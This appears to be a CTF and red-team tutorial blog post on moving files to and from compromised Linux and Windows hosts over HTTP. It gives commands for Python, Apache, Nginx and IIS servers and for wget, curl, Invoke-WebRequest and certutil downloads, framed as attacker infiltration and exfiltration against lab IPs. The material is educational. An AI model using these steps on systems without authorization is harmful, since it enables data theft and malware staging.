Quick Disclaimer: These are some of the techniques and tips I've picked up from ethical hacking and CTFs. But remember, performing these actions against networks or hosts you don't have explicit permission to do so is illegal. Don't break the law.
- Overview
- Opsec Considerations
- File Transfer Scenarios
- HTTP Server Options:
- HTTP Client Options:
- Potential Firewall Issues
Overview
In the course of CTFs or Red Team engagements, there will come a point where you'll need to either infiltrate data (get files or programs on to the compromised host) or exfiltrate data (get files or programs off of the compromised host).
One of the simplest methods to achieve this is via HTTP, the same technology that powers websites.
It's important to note that HTTP is unidirectional, meaning that a client can download files from an HTTP server, but the server can't download files from the client. Additionally, the client can't upload files to the HTTP server. This is in contrast to file share specific protocols, like SMB or FTP, where clients can easily download and upload files to the server.
Side note: You technically can upload files via HTTP, typically using a POST
request. However, that requires the HTTP server to also be running an application that has been programmed to include that functionality. Because of that, I'd consider that to be a potential web-app vulnerability, instead of being a reliable option for data infil/exfiltration.
To visualize a simple HTTP data transfer, I've included the below graphic. In this scenario, the attacker has compromised the victim, 10.10.10.1
, and has shell access on that machine, meaning they can execute system commands. The attacker needs to transfer a file, file.txt
, onto the victim. On the attacker's machine, 10.10.10.2
, they start an HTTP server with python -m http.server 80
from the directory containing file.txt
.
On the victim's machine, the attacker runs the command wget http://10.10.10.2/file.txt
, which downloads file.txt
from the attacker's HTTP server onto the victim's compromised machine.
Since the victim machine isn't running an HTTP server, however, the attacker can't download files from the victim back to the attacker's machine.
Opsec Considerations
Before moving on to the scenarios, it's important to remember that the methods I'm describing here don't have any safeguards against unauthorized file access. Meaning, if you start an HTTP server on either your machine or a victim's, anyone on the same network as you will be able to access those files as well.
Additionally, depending on what directory you host the HTTP server from, all files and subdirectories of that folder will be accessible to anyone on the same network as you.
For example, if you're on a Linux host and run the python -m http.server 80
while in your home directory, that will make all the files in your home directory publicly accessible, including any private keys in .ssh/
!!!. Before starting an HTTP server, it's always good practice to ensure you know what directory it will be serving files from. Better yet, create a new empty directory, and start the file server there. This applies both to when you're hosting the webserver on your attacking machine and when doing so from a compromised victim.
File Transfer Scenarios
In each of the scenarios I'll be describing, I've randomly picked an HTTP client and HTTP server from the list of potential options to use. However, any HTTP client will be able to request files from any HTTP server. You'll need to find what client / server to use based off what you're most comfortable with using on your host, and what is available to you on the compromised victim.
Linux Attacker -> Linux Victim
The first scenario we'll look at is when you have shell access on a compromised Linux host, and need to download a file on to that compromised machine. This is the same scenario we looked at earlier, except in the below image, our attacking machine is using Apache for the HTTP server instead of Python.
Since the HTTP Server is being hosted from our attacking machine, that means that virtually any of the below Linux HTTP Server Options are available. On our own machine, we have full permissions to install any software needed, and run programs as sudo
.
From the shell on the victim, however, we'll need to find which
binaries already exist on the victim that we can use to download files. Fortunately, that's easy in Linux using the which <binary name>
command. For example, if you'd want to see if wget
is already installed on the host you would just need to run the command which wget
. If the command returns a file path, the program is installed. If it doesn't return anything, you'll need to find another program.
Looking back at the scenario, the attacker has shell access on the victim, and found that wget
is installed. The attacker wants to transfer file.txt
onto the victim, so the attacker starts an HTTP server on his own host with sudo service apache2 start
. From the shell access on the victim, the attacker runs wget http://10.10.10.2/file.txt
which downloads the file from the attacker, onto the victim.
Linux Victim -> Linux Attacker
This second scenario is the reverse of the first we looked at. This is when you have shell access on a compromised Linux host, and need to download a file from that compromised host. Much like how we looked to see if wget
was available in scenario 1, in this case we'll need to check if one of binaries from Linux HTTP Server Options is available for us to use on the victim.
In the scenario below, the victim host has Python 3
installed. So, from shell access on the victim, the attacker starts a Python 3
HTTP server in the directory that contains, file.txt
. Then, on the attackers own machine, they use wget
to download file.txt
from the victim, back to the attacker.
note that the attacker and victim have switched sides in this image
Linux Attacker -> Windows Victim
This third scenario invovles the attacker having shell access on a Windows machine, and needing to transfer a file from their attcking Linux machine onto the compromised Windows host.
In this scenario, the attacker is running the webserver with SimpleHTTPServer
module, and using the Windows binary, certutil.exe
to download file.txt
from the attacking host.
certutil.exe
is installed by default on Windows versions since Vista/Server 2008, but if we wanted to check for it's existence we could use the where certutil.exe
command from a cmd terminal, or (get-command certutil.exe).Path
in Powershell.
Windows Victim -> Linux Attacker
The fourth and final scenario we'll look at, exfiltrating data from a compromised Windows host, is not going to be viable in most CTFs or real-world situtations. This is because Windows Defender Firewall blocks all inbound traffic by default. That means that unless we can add a new firewall rule, or can take advantage of a misconfigured firewall, our attacking host won't actually be able to connect to the HTTP server on the compromised Windows host.
For this example, I'm assuming those rules are already in place, and that the attacker has the necessary privilege to start and stop IIS.
On the compromised Windows host, the attacker starts the IIS server with the iisreset /start
command. Then, from the attacking Linux host, the attacker uses curl
to download file.txt
from the victim machine back to the attacker.
Linux HTTP Server Options:
The default port for HTTP traffic is port 80. When running a webserver on Port 80, most HTTP clients will assume that default port is being used, so it does not have to be specified. For example, http://10.10.10.1/file.txt
== http://10.10.10.1:80/file.txt
. But, http://10.10.10.1/file.txt
!= http://10.10.10.1:8000/file.txt
. If you're using the non-default port, which in some instances will be unavoidable, just remember to specify the port in your HTTP client.
Python 3
With Python 3
we can use the built-in http.server
module to quickly and easily spin up an HTTP server. The syntax for the command is:
python -m http.server
# or python3 depending on how python is installed
python3 -m http.server
The http.server
module will default to using port 8000
and serve files from the current directory. If you want http.server
to use port 80
, or specify a directory to serve files from, you can use the --directory
flag, and supply an integer value for port, which is the only positional argument the module supports:
# Will serve files from /var/www/html on Port 80
python -m http.server 80 --directory /var/www/html
Python 2
Similar to the Python 3 http.server
module, Python 2
has a module, SimpleHTTPServer
that can do the same thing. The sytax for that is:
# Will serve files from the current directory on Port 80
python -m SimpleHTTPServer 80
Unlike the http.server
module, SimpleHTTPServer
does not support a flag to specify the directory to serve files from. If you want to achieve that result, you'll have to use pushd and popd:
# Will serve files from /var/www/html on Port 80
pushd /var/www/html; python -m SimpleHTTPServer 80; popd
Apache
Unlike many of the other options here, Apache can be and oftentimes is used as a production webserver. Because of this, Apache has many more features, but the configuration for those features is stored in separate files, mainly /etc/apache2/apache2.conf
.
Using Apache as an HTTP server for data exfil/infiltration, however, comes with the huge caveat that in most cases starting and stopping the service requires sudo
, aka root access. When you're serving files from your attacking host, that's not an issue, but if you're trying to exfiltrate data from a victim you might not have root access.
Even if you don't have permissions to start/stop apache on a victim, you might still be able to use Apache to exfiltrate files via HTTP if you have write access to the directory that Apache is serving files from. By default this will be the /var/www/html/
directory.
Starting Apache on Kali:
# Will start an apache server with the options from /etc/apache2/apache2.conf
sudo service apache2 start
Stopping Apache on Kali:
# Will stop an already running apache server
sudo service apache2 stop
Nginx
Like Apache, Ngninx is also a production webserver that has a large market share. The default webroot for Nginx will vary depending on the OS and version that is installed, but some common Nginx webroots are as follows:
/var/www/html
/usr/share/nginx/www
/usr/share/nginx/html
Nginx for data exfiltration comes with the same caveats as Apache. If you're trying start or make changes to a running Nginx server on a compromised victim, you'll likely need root access. Otherwise, if you have write permissions to the webroot of an already running Nginx instance on a victim, you can still exfil data that way.
Starting Nginx on Kali:
# Will start an nginx server
sudo service nginx start
Stopping Nginx on Kali:
# Will stop an already running nginx server
sudo service nginx stop
simple-http-server
simple-http-server is a cli based HTTP server written in Rust that has pre-compiled binaries for Linux, Windows and MacOS hosts. It's highly unlikely that this binary will be pre-installed on a compromised victim, but since it has no dependencies, if you can infiltrate the binary onto a victim host you can easily use it to run an HTTP server.
If you use one of the pre-compiled binaries, the start command will match the filename, otherwise the general syntax is as follows.
# Will start an http server on port 80
./simple-http-server -p 80
Linux HTTP Client Options:
The list I'm including here is by no means comprehensive. While I'm only listing some of the most commonly available methods / programs, there might be some instances where none of these programs are available, or their usage is restricted.
A great resource for finding programs that might grant you download capabilites via programs unbeknowst to sys admins is GTFOBins - File Downloads Filter.
wget
Many Linux systems will come pre-installed with wget
, making it a great choice for downloading files on Linux over HTTP. Downloading files with wget
is very easy:
# Will download file.txt and save as file.txt
wget http://10.10.10.2:8000/file.txt
Optionally, you can the -O
(capital letter O not zero) flag to specify the output filename.
# Will download file.txt and save as output-file.txt
wget -O output-file.txt http://10.10.10.2/file.txt
curl
Another program that's very commonly found on Linux systems is curl
. Unlike wget
, curl
defaults to displaying the output in the terminal instead of downloading files, however, you can easily save files with the --output
flag.
curl http://10.10.10.2/file.txt --output file.txt
Windows HTTP Server Options:
As mentioned above in Windows Victim -> Linux Attacker, using HTTP for data exfil on Windows isn't generally a great choice, but these options are included for general awareness.
IIS
IIS, Internet Information Services, is a web server created by Microsoft for use with Windows hosts. Whenever you encounter Windows hosts serving HTTP, it's highly likely that they'll be using IIS. The default webroot for IIS is C:\inetpub\wwwroot\
. In order to start / stop an IIS server, you will need to be running as an Administrator, aka NT Authority\System
user.
Start IIS - cmd:
iisreset /start
Start IIS - powershell:
Start-IISSite -Name "Default Web Site"
Python 3
If python 3
is installed, you can use the http.server
module. Note the addition of the --bind
flag with the ip 0.0.0.0
.
python -m http.server --bind 0.0.0.0 80
Windows HTTP Client Options:
Much like the Linux list, the list of Windows HTTP clients here also by no means comprehensive. Windows has its own version of GTFOBins in the form of LOLBAS.
Invoke-WebRequest - Powershell
If your Windows access is a powershell environment, or if you're in cmd
and you can spawn a powershell environment with powershell.exe
, you can use the built-in function Invoke-WebRequest
to download files to Windows.
# Downloads file.txt and saves it as file.txt
Invoke-WebRequest -Uri http://10.10.10.2/file.txt -OutFile file.txt
Certutil.exe - cmd / Powershell
certutil.exe
is a legitimate Windows program to download Certificate authority files. However, we can misuse this legitimate program to download files from any HTTP server that we specify.
certutil.exe -urlcache -split -f http://10.10.10.2/file.txt file.txt
Potential Firewall Issues
In the scenarios I described above, it is assumed that there is either no firewall, or that the firewall has rules in place that will allow us to run any of the HTTP server / clients without issue. In CTFs / the real world, you'll often run into firewalls that have block rules in place to stop the kinds of HTTP transfers described above.
Firewall rules can be broken out into two distinct categories. Inbound rules and Outbound rules.
Inbound firewall rules control what happens when other computers try to access our local machine. For example, we could be running an HTTP webserver on port 80 locally accessible at http://localhost:80
, but if we have a firewall block rule on port 80 in place, no other computers will be able to access that HTTP webserver.
Windows Defender Firewall blocks all inbound traffic by default, and exceptions for individual programs / services are made from there. This is part of the reason why HTTP isn't a great choice for data exfiltration on Windows.
While Linux distros include a wide number of firewall programs available, they often won't be enabled by default or won't have restrictive inbound rules enabled by default like Windows does. This makes HTTP an easy way to quickly exfiltrate data from Linux systems, just remember the opsec concerns from earlier.
Outbound firewall rules tell the computer what to do when our local computer tries to access computers and resources on other computers. This can be other computers on our local network, or even websites out on the internet. You'll occasionally run into instances where outbound traffic on most ports has been blocked by firewall rules. However, HTTP traffic on port 80, and HTTPS traffic on port 443 are often allowed outbound rules, otherwise the computer wouldn't be able to access the internet.
Top comments (0)